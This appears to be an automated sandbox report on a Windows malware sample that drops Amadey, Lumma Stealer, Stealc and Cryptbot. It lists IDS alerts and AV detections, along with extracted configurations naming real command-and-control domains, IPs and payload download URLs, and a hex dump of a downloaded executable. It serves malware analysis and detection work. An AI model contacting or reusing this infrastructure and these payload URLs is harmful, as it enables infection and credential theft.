Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:05.743874+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49779	185.215.113.43	80	TCP
2024-12-19T08:14:09.207088+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50276	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:20.212182+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49798	TCP
2024-12-19T08:15:09.215841+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50305	TCP
2024-12-19T08:16:17.792273+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50329	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:09:10.729382+0100	2803305	3	Unknown Traffic	192.168.2.6	49802	31.41.244.11	80	TCP
2024-12-19T08:09:23.013337+0100	2803305	3	Unknown Traffic	192.168.2.6	49839	31.41.244.11	80	TCP
2024-12-19T08:09:29.893541+0100	2803305	3	Unknown Traffic	192.168.2.6	49858	31.41.244.11	80	TCP
2024-12-19T08:09:38.608829+0100	2803305	3	Unknown Traffic	192.168.2.6	49882	185.215.113.16	80	TCP
2024-12-19T08:09:48.426444+0100	2803305	3	Unknown Traffic	192.168.2.6	49918	185.215.113.16	80	TCP
2024-12-19T08:09:58.506920+0100	2803305	3	Unknown Traffic	192.168.2.6	49949	185.215.113.16	80	TCP
2024-12-19T08:10:06.344997+0100	2803305	3	Unknown Traffic	192.168.2.6	49981	185.215.113.16	80	TCP
2024-12-19T08:15:10.522825+0100	2803305	3	Unknown Traffic	192.168.2.6	50306	31.41.244.11	80	TCP
2024-12-19T08:16:06.655031+0100	2803305	3	Unknown Traffic	192.168.2.6	50330	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:10:59.217593+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50156	172.67.179.109	443	TCP
2024-12-19T08:15:32.858062+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50318	172.67.177.88	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/geopoxid/random.exe	Avira URL Cloud: Label: phishing
Source: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=Z2JZx72g38Fbx0A81734592167	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: bb3768c743.exe.6828.15.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["energyaffai.lat", "sustainskelet.lat", "aspecteirs.lat", "discokeyus.lat", "grannyejh.lat", "pancakedipyps.click", "rapeflowwj.lat", "necklacebudi.lat", "crosshuaht.lat"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 59%			Perma Link
Source: file.exe	ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe

Code function: 17_2_0043123B CryptContextAddRef,

17_2_0043123B

Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_6cfcb9fb-7

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_004436A9 FindFirstFileExW,	15_2_004436A9
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_0044375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_0044375A
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_004436A9 FindFirstFileExW,	17_2_004436A9
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_0044375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	17_2_0044375A

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49779 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49798
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49835 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49854 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49876 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:52456 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:51238 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49908 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49909 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49917 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49926 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49933 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49939 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49946 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49950 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49945 -> 194.87.47.113:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49948 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49956 -> 194.87.47.113:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49962 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:51197 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49977 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49982 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49987 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49968 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49989 -> 194.87.47.113:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49995 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49999 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50005 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50004 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50012 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50033 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50057 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50047 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50069 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50101 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:52925 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50107 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50119 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50141 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50153 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50157 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50156 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50148 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50134 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50164 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50276 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50305
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:50102 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50308 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50329
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50334 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50349 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50351 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49921 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49917 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49917 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49926 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49947 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49977 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49883 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49977 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49883 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49875 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49875 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49982 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49987 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49987 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50069 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50102 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50102 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50107 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50107 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50119 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49908 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49908 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50307 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50307 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50316 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50319 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50309 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50309 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50318 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50156 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50157 -> 172.67.179.109:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:09:10 GMTContent-Type: application/octet-streamContent-Length: 4430848Last-Modified: Thu, 19 Dec 2024 06:24:55 GMTConnection: keep-aliveETag: "6763bc37-439c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 b0 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 b4 00 00 04 00 00 7b ec 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 8d b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 8d b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 37 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 67 6d 6a 69 70 6b 6c 00 30 1b 00 00 70 99 00 00 22 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 77 61 6c 74 7a 78 66 00 10 00 00 00 a0 b4 00 00 04 00 00 00 76 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 b4 00 00 22 00 00 00 7a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 